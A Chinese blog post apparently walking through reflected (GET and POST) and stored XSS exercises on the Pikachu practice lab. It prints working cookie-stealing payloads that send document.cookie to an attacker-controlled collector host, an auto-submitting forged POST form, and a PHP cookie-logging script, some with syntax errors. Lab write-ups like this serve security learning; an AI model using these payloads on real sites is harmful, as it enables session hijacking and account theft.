pikachu

pikachu上的xss漏洞

 

 

 

反射型(get)

首先了解一下get型和post型的区别

GET和POST典型区别

GET是以url方式提交数据;

POST是以表单方式在请求体里面提交;

GET方式的XSS漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的url伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用url方式进行攻击

 

 

点开发现是个简单的搜索框

 用js脚本试试有没有反应

 1 <script>alert("xss")</script> 

发现对输入字符数有限制,这个时候可以通过两种方式进行破解

 

F12

 可以通过f12查看前端代码进行定位,然后修改对应位置的字符限制

 改长一点

 在输入就没有限制了

 发现弹窗,网站存在xss漏洞

 

burpsuite抓包

开代理抓包发送

可以发现橙色的那里就是搜索框的内容

 

 将脚本输入编码器然后编码为url格式替换message的内容即可

 在重发器进行实验

 

 在浏览器看结果发现弹窗,存在xss漏洞

 

反射型(post)

随便提交一下,发现url没有变化

 

尝试在username处输入检测脚本代码,发现没有反应

 

post是无法在URL中插入payload的,是需要插入内容到数据包的
那么如何将数据包这种类型的攻击发送给用户呢?
通过html页面方式提交,构造一个自己的post,丢到自己的网站上

 

因为post型的只能用户登录以后再操作,所以先登录用户

 

 拦截数据包查看数据包与之前的区别, 这就是post形式提交的数据包样子

攻击者需要将上述的数据包写到自己的HTML代码中进行伪造,这里我们可以查看pikachu官方自己的代码作为参考

 然后将对应的html代码挂载到自己的服务器,然后将伪造好的地址发给对方,对方点击了这个链接,链接自动解析成一个html页面并执行里面的代码

用户在已经在正常的网页上登录账号密码的前提下点击我们发送给他的网址才有效

 1 <html>
 2   <head>
 3     <!--自动加载点击代码-->
 4     >
 5     <script>
 6       window.onload = function () {
 7         document.getElementById("postsubmit").click();
 8       };
 9     </script>
10   </head>
11   <body>
12     <form
13       method="post"
14       action="http://192.168.245.135/pikachu/vul/xss/xsspost/xss_reflected_post.php"
15     >
16       <!--网址栏输入web站点的地址-->
17 
18       <input
19         id="xssr_in"
20         type="text"
21         name="message"
22         value="<script>
23 document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
24     </script>"
25       /><!--这一段代码就是payload-->>
26 
27       <!--网址栏输入xss平台的地址-->
28 
29       <input id="postsubmit" type="submit" name="submit" value="submit" />
30     </form>
31   </body>
32 </html>
33 
34 <!--
35  * 
36 <script>
37 document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
38 </script>
39 */
40 /*
41 <script>
42 document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
43 </script>
44 */
45 -->

  

 

存储型xss

打开界面是一个留言板,输入内容即可在上面留言

 测试存储型,所以找虚拟机作为靶机,Linux作为攻击机

开启apache

 建立一个用来收集cookie的php

 里面写入代码

<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt","a");fwrite($log,$cookie ."\n"fclose($log);?>

  

 shift+:   和wq保存退出

 给目录权限

 至此收集cookie信息的脚本就搭建好了

然后用它作为攻击机输入以下payload

<script>window.open("http://192.168.245.129/cookie_rec.php?cookie='+document .cookie)</script>

  

 至此,别的登录用户点击了就会中招了

posted @ 2023-09-23 22:22  努力的大魔王  阅读(112)  评论(0)    收藏  举报